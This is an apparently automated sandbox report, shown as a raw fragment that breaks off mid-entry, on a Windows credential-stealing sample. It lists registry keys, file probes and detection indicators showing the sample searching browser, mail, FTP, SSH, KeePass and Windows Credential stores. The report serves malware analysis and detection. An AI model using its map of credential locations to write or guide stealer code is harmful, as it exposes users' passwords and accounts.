00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\SimonTatham\PuTTY\Sessions" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\VanDyke\SecureFX" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\Ghisler\Total Commander" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\Martin Prikryl" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\Microsoft\Cryptography" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp2e:T759,".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: ""; Value: "")2f:Tb9a,".exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "WUDFHOST"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SQMCLIENT\WINDOWS"; Key: "CEIPENABLE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "")30:T486,".exe" trying to touch file "C:\Windows\system32\IMM32.DLL" ".exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" ".exe" trying to touch file "C:\FLTLIB.DLL" ".exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.DLL" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" ".exe" trying to touch file "C:\msimg32.dll" ".exe" trying to touch file "C:\Windows\system32\msimg32.dll" ".exe" trying to touch file "C:\Windows\Temp\VxOle32.dll" ".exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" ".exe" trying to touch file "\FileSystem\Filters\FltMgrMsg" ".exe" trying to touch file "C:\CRYPTSP.dll" ".exe" trying to touch file "C:\Windows\system32\CRYPTSP.dll" ".exe" trying to touch file "C:\Windows\system32\rsaenh.dll"31:T62c,".exe" trying to access non-existent file "C:\FLTLIB.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" ".exe" trying to access non-existent file "C:\msimg32.dll" ".exe" trying to access non-existent file "C:\CRYPTSP.dll" ".exe" trying to access non-existent file "C:\CRYPTBASE.dll" ".exe" trying to access non-existent file "C:\mozglue.dll" ".exe" trying to access non-existent file "C:\Windows\system32\mozglue.dll" ".exe" trying to access non-existent file "C:\Windows\system\mozglue.dll" ".exe" trying to access non-existent file "C:\Windows\mozglue.dll" ".exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath\mozglue.dll" ".exe" trying to access non-existent file "C:\Windows\System32\Wbem\mozglue.dll" ".exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\mozglue.dll" ".exe" trying to access non-existent file "C:\Program Files\Wireshark\mozglue.dll" ".exe" trying to access non-existent file "C:\dbghelp.dll" ".exe" trying to access non-existent file "C:\VERSION.dll" ".exe" trying to access non-existent file "C:\MSVCP140.dll" ".exe" trying to access non-existent file "C:\VCRUNTIME140.dll"32:Tafc,".exe" trying to access non-existent file "C:\Users\SYwjcIY\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\signons.sqlite" ".exe" trying to access non-existent file "C:\Users\SYwjcIY\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\logins.json" ".exe" trying to access non-existent file "C:\Users\SYwjcIY\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\signons.txt" ".exe" trying to access non-existent file "C:\Users\SYwjcIY\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\signons2.txt" ".exe" trying to access non-existent file "C:\Users\SYwjcIY\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\signons3.txt" ".exe" trying to access non-existent file "C:\Users\SYwjcIY\AppData\Roaming\Opera" ".exe" trying to access non-existent file "C:\Users\SYwjcIY\Documents\SuperPutty" ".exe" trying to access non-existent file "C:\Users\SYwjcIY\AppData\Roaming\SftpNetDrive" ".exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS.SQLITE" ".exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\LOGINS.JSON" ".exe" trying to access non-existent file "C:\Users\SYwjcIY\AppData\Roaming\iterate_GmbH" ".exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS.TXT" ".exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS2.TXT" ".exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS3.TXT" ".exe" trying to access non-existent file "C:\Windows\wcx_ftp.ini" ".exe" trying to access non-existent file "C:\Users\SYwjcIY\AppData\Roaming\wcx_ftp.ini" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\wcx_ftp.ini" ".exe" trying to access non-existent file "C:\Windows\WS_FTP.INI" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\site.xml" ".exe" trying to access non-existent file "C:\Users\SYwjcIY\AppData\Roaming\Cyberduck" ".exe" trying to access non-existent file "C:\Users\SYwjcIY\AppData\Local\ExpanDrive" ".exe" trying to access non-existent file "C:\Users\SYwjcIY\AppData\Roaming\FlashFXP" ".exe" trying to access non-existent file "C:\ProgramData\FlashFXP"33:T123d,Found URL "http://s" - Source: "00000000-00002664.00000001.68174.00150000.00000040.mdmp") Found URL "ftp://ftp://ftps://http://https://" - Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp") Found URL "http://https://machineguidsoftware\microsoft\cryptographyldrgetprocedureaddressrtlntstatustodoserrorrtlsetlastwin32errorzwqueryinformationprocessrtlcreateuserthreadzwallocatevirtualmemoryntfreevirtualmemoryntwritevirtualmemoryzwreadvirtualmemoryzwresumethreadlast_compatible_versionpassword_valueusername_valueorigin_urlloginsvaultenumerateitemsvaultenumeratevaultsvaultfreevaultgetitemvaultopenvaultvaultclosevaultselect" - Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp") Found URL "http://www.ibsensoftware.com/" - Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp") Found URL "ftp://ftp://ftps://http://https://" - Source: "00000000-00002664.00000001.68174.00400000.00000040.mdmp") Found URL "http://https://machineguidsoftware\microsoft\cryptographyldrgetprocedureaddressrtlntstatustodoserrorrtlsetlastwin32errorzwqueryinformationprocessrtlcreateuserthreadzwallocatevirtualmemoryntfreevirtualmemoryntwritevirtualmemoryzwreadvirtualmemoryzwresumethreadlast_compatible_versionpassword_valueusername_valueorigin_urlloginsvaultenumerateitemsvaultenumeratevaultsvaultfreevaultgetitemvaultopenvaultvaultclosevaultselect" - Source: "00000000-00002664.00000001.68174.00400000.00000040.mdmp") Found URL "http://www.ibsensoftware.com/" - Source: "00000000-00002664.00000001.68174.00400000.00000040.mdmp") Found URL "http://s" - Source: "00000000-00002664.00000002.70094.00150000.00000040.mdmp") Found URL "ftp://ftp://ftps://http://https://" - Source: "00000000-00002664.00000002.70094.00170000.00000040.mdmp") Found URL "http://https://machineguidsoftware\microsoft\cryptographyldrgetprocedureaddressrtlntstatustodoserrorrtlsetlastwin32errorzwqueryinformationprocessrtlcreateuserthreadzwallocatevirtualmemoryntfreevirtualmemoryntwritevirtualmemoryzwreadvirtualmemoryzwresumethreadlast_compatible_versionpassword_valueusername_valueorigin_urlloginsvaultenumerateitemsvaultenumeratevaultsvaultfreevaultgetitemvaultopenvaultvaultclosevaultselect" - Source: "00000000-00002664.00000002.70094.00170000.00000040.mdmp") Found URL "http://www.ibsensoftware.com/" - Source: "00000000-00002664.00000002.70094.00170000.00000040.mdmp") Found URL "ftp://ftp://ftps://http://https://" - Source: "00000000-00002664.00000002.70094.00400000.00000040.mdmp") Found URL "http://https://machineguidsoftware\microsoft\cryptographyldrgetprocedureaddressrtlntstatustodoserrorrtlsetlastwin32errorzwqueryinformationprocessrtlcreateuserthreadzwallocatevirtualmemoryntfreevirtualmemoryntwritevirtualmemoryzwreadvirtualmemoryzwresumethreadlast_compatible_versionpassword_valueusername_valueorigin_urlloginsvaultenumerateitemsvaultenumeratevaultsvaultfreevaultgetitemvaultopenvaultvaultclosevaultselect" - Source: "00000000-00002664.00000002.70094.00400000.00000040.mdmp") Found URL "http://www.ibsensoftware.com/" - Source: "00000000-00002664.00000002.70094.00400000.00000040.mdmp") Found URL "http://s" - Source: "00000000-00002664.00000003.77520.00150000.00000040.mdmp") Found URL "ftp://ftp://ftps://http://https://" - Source: "00000000-00002664.00000003.77520.00170000.00000040.mdmp") Found URL "http://https://machineguidsoftware\microsoft\cryptographyldrgetprocedureaddressrtlntstatustodoserrorrtlsetlastwin32errorzwqueryinformationprocessrtlcreateuserthreadzwallocatevirtualmemoryntfreevirtualmemoryntwritevirtualmemoryzwreadvirtualmemoryzwresumethreadlast_compatible_versionpassword_valueusername_valueorigin_urlloginsvaultenumerateitemsvaultenumeratevaultsvaultfreevaultgetitemvaultopenvaultvaultclosevaultselect" - Source: "00000000-00002664.00000003.77520.00170000.00000040.mdmp") Found URL "http://www.ibsensoftware.com/" - Source: "00000000-00002664.00000003.77520.00170000.00000040.mdmp") Found URL "ftp://ftp://ftps://http://https://" - Source: "00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found URL "http://https://machineguidsoftware\microsoft\cryptographyldrgetprocedureaddressrtlntstatustodoserrorrtlsetlastwin32errorzwqueryinformationprocessrtlcreateuserthreadzwallocatevirtualmemoryntfreevirtualmemoryntwritevirtualmemoryzwreadvirtualmemoryzwresumethreadlast_compatible_versionpassword_valueusername_valueorigin_urlloginsvaultenumerateitemsvaultenumeratevaultsvaultfreevaultgetitemvaultopenvaultvaultclosevaultselect" - Source: "00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found URL "http://www.ibsensoftware.com/" - Source: "00000000-00002664.00000003.77520.00400000.00000040.mdmp")34:T722,".exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\PokerStars* (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.tlp (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.bscp (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.vnc (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter %USERPROFILE%\Desktop\*.vnc (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter C:\Foxmail* (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*Mailbox.ini (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.spn (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter %USERPROFILE%\Desktop\*.spn (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.kdbx (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter %USERPROFILE%\Desktop\*.kdbx (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.kdb (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter %USERPROFILE%\Desktop\*.kdb (UID: 00000000-00002664) ".exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002664) ".exe" called "FindNextFileW" with parameter S-1-5-21-2092356043-4041700817-663127204-1001 (UID: 00000000-00002664) ".exe" called "FindFirstFileW" with parameter %APPDATA%\Microsoft\Credentials\* (UID: 00000000-00002664)35:T682,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "WUDFHost.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "WUDFHost.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "WUDFHost.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "WUDFHost.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "WUDFHost.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API "ZwQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp")36:Tc15,"%s\Thunderbird\profiles.ini" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "%s\Thunderbird\Profiles\%s" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "%s\Postbox\profiles.ini" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "%s\Postbox\Profiles\%s" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "SOFTWARE\Postbox\Postbox" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "%s\Foxmail\mail" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook" in Source: 00000000-00002664.00000001.68174.00170000.00000040.mdmp 00000000-00002664.00000001.68174.00400000.00000040.mdmp 00000000-00002664.00000002.70094.00170000.00000040.mdmp 00000000-00002664.00000002.70094.00400000.00000040.mdmp 00000000-00002664.00000003.77520.00170000.00000040.mdmp 00000000-00002664.00000003.77520.00400000.00000040.mdmp37:T447,"%APPDATA%\Microsoft\Credentials\*" (Indicator: "\microsoft\credentials"; File: "00000000-00002664-00000C28-1172086632") "%LOCALAPPDATA%\Microsoft\Credentials\*" (Indicator: "\microsoft\credentials"; File: "00000000-00002664-00000C28-1190400520") "%s\Microsoft\Credentials" (Indicator: "\microsoft\credentials"; File: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") ":\Users\SYwjcIY\AppData\Local\Microsoft\Credentials" (Indicator: "\microsoft\credentials"; File: "00000000-00002664.00000002.70094.02620000.00000004.mdmp, 00000000-00002664.00000003.77520.02620000.00000004.mdmp") ":\Users\SYwjcIY\AppData\Local\Microsoft\Credentials\*" (Indicator: "\microsoft\credentials"; File: "00000000-00002664.00000002.70094.02620000.00000004.mdmp, 00000000-00002664.00000003.77520.02620000.00000004.mdmp")38:T852,"%s\Estsoft\ALFTP\ESTdb2.dat" (Indicator: "\estsoft\alftp") "%s\Estsoft\ALFTP\ESTdb2.dat" (Indicator: "estdb2.dat") "%s\BitKinex\bitkinex.ds" (Indicator: "\bitkinex") "%s\BitKinex\bitkinex.ds" (Indicator: "bitkinex.ds") "%s\BlazeFtp\site.dat" (Indicator: "site.dat") "Software\NCH Software\ClassicFTP\FTPAccounts" (Indicator: "software\nch software\classicftp\ftpaccounts") "%s\Cyberduck" (Indicator: "\cyberduck") "*quick.dat" (Indicator: "quick.dat") "Software\NCH Software\Fling\Accounts" (Indicator: "software\nch software\fling\accounts") "%s\FreshWebmaster\FreshFTP\FtpSites.SMF" (Indicator: "freshftp") "%s\FTPGetter\Profile\servers.xml" (Indicator: "\ftpgetter") "%s\FTPGetter\servers.xml" (Indicator: "\ftpgetter") "%s\FTPInfo\ServerList.xml" (Indicator: "ftpinfo") "%s\FTPInfo\ServerList.cfg" (Indicator: "ftpinfo") "%s\FTP Navigator\Ftplist.txt" (Indicator: "ftp navigator") "%s\FTP Navigator\Ftplist.txt" (Indicator: "ftplist.txt") "%s\FTP Now\sites.xml" (Indicator: "\sites.xml") "%s\FTP Now\sites.xml" (Indicator: "ftp now") "%s\FTPShell\ftpshell.fsi" (Indicator: "ftpshell") "%s\FTPShell\ftpshell.fsi" (Indicator: "ftpshell.fsi") "%s\DeluxeFTP\sites.xml" (Indicator: "\sites.xml") "%s\GoFTP\settings\Connections.txt" (Indicator: "connections.txt") "%s\GoFTP\settings\Connections.txt" (Indicator: "goftp") "%s\NetDrive\NDSites.ini" (Indicator: "\netdrive") "%s\NetDrive\NDSites.ini" (Indicator: "ndsites.ini") "%s\NetDrive\NDSites.ini" (Indicator: "sites.ini") "%s\NetDrive2\drives.dat" (Indicator: "\netdrive") "%s\NexusFile\userdata\ftpsite.ini" (Indicator: "ftpsite.ini") "%s\NexusFile\userdata\ftpsite.ini" (Indicator: "nexusfile") "%s\NexusFile\ftpsite.ini" (Indicator: "ftpsite.ini") "%s\NexusFile\ftpsite.ini" (Indicator: "nexusfile") "%s\INSoftware\NovaFTP\NovaFTP.db" (Indicator: "\insoftware\novaftp") "%s\INSoftware\NovaFTP\NovaFTP.db" (Indicator: "novaftp.db") "Software\VanDyke\SecureFX" (Indicator: "software\vandyke\securefx") "%s\SmartFTP" (Indicator: "\smartftp") "%s\Staff-FTP\sites.ini" (Indicator: "sites.ini") "%s\Staff-FTP\sites.ini" (Indicator: "staff-ftp")39:Tb4c,Found string "\Device\HarddiskVolume2\WUDFHost.exe" (Indicator: "\Device\"; Source: "00000000-00002664.00000000.66253.00120000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip_{90A066FE-591C-47F3-850D-9644B684FBA5}] SEQPACKET 0" (Indicator: "\Device\"; Source: "00000000-00002664.00000001.68174.034B0000.00000004.mdmp, 00000000-00002664.00000002.70094.034B0000.00000004.mdmp, 00000000-00002664.00000003.77520.034B0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip_{90A066FE-591C-47F3-850D-9644B684FBA5}] DATAGRAM 0" (Indicator: "\Device\"; Source: "00000000-00002664.00000001.68174.034B0000.00000004.mdmp, 00000000-00002664.00000002.70094.034B0000.00000004.mdmp, 00000000-00002664.00000003.77520.034B0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{FC9EBB92-F38F-4C0F-9BB2-4E5E64704E72}] SEQPACKET 3" (Indicator: "\Device\"; Source: "00000000-00002664.00000001.68174.034B0000.00000004.mdmp, 00000000-00002664.00000002.70094.034B0000.00000004.mdmp, 00000000-00002664.00000003.77520.034B0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{FC9EBB92-F38F-4C0F-9BB2-4E5E64704E72}] DATAGRAM 3" (Indicator: "\Device\"; Source: "00000000-00002664.00000001.68174.034B0000.00000004.mdmp, 00000000-00002664.00000002.70094.034B0000.00000004.mdmp, 00000000-00002664.00000003.77520.034B0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}] SEQPACKET 1" (Indicator: "\Device\"; Source: "00000000-00002664.00000001.68174.034B0000.00000004.mdmp, 00000000-00002664.00000002.70094.034B0000.00000004.mdmp, 00000000-00002664.00000003.77520.034B0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}] DATAGRAM 1" (Indicator: "\Device\"; Source: "00000000-00002664.00000001.68174.034B0000.00000004.mdmp, 00000000-00002664.00000002.70094.034B0000.00000004.mdmp, 00000000-00002664.00000003.77520.034B0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{90A066FE-591C-47F3-850D-9644B684FBA5}] SEQPACKET 2" (Indicator: "\Device\"; 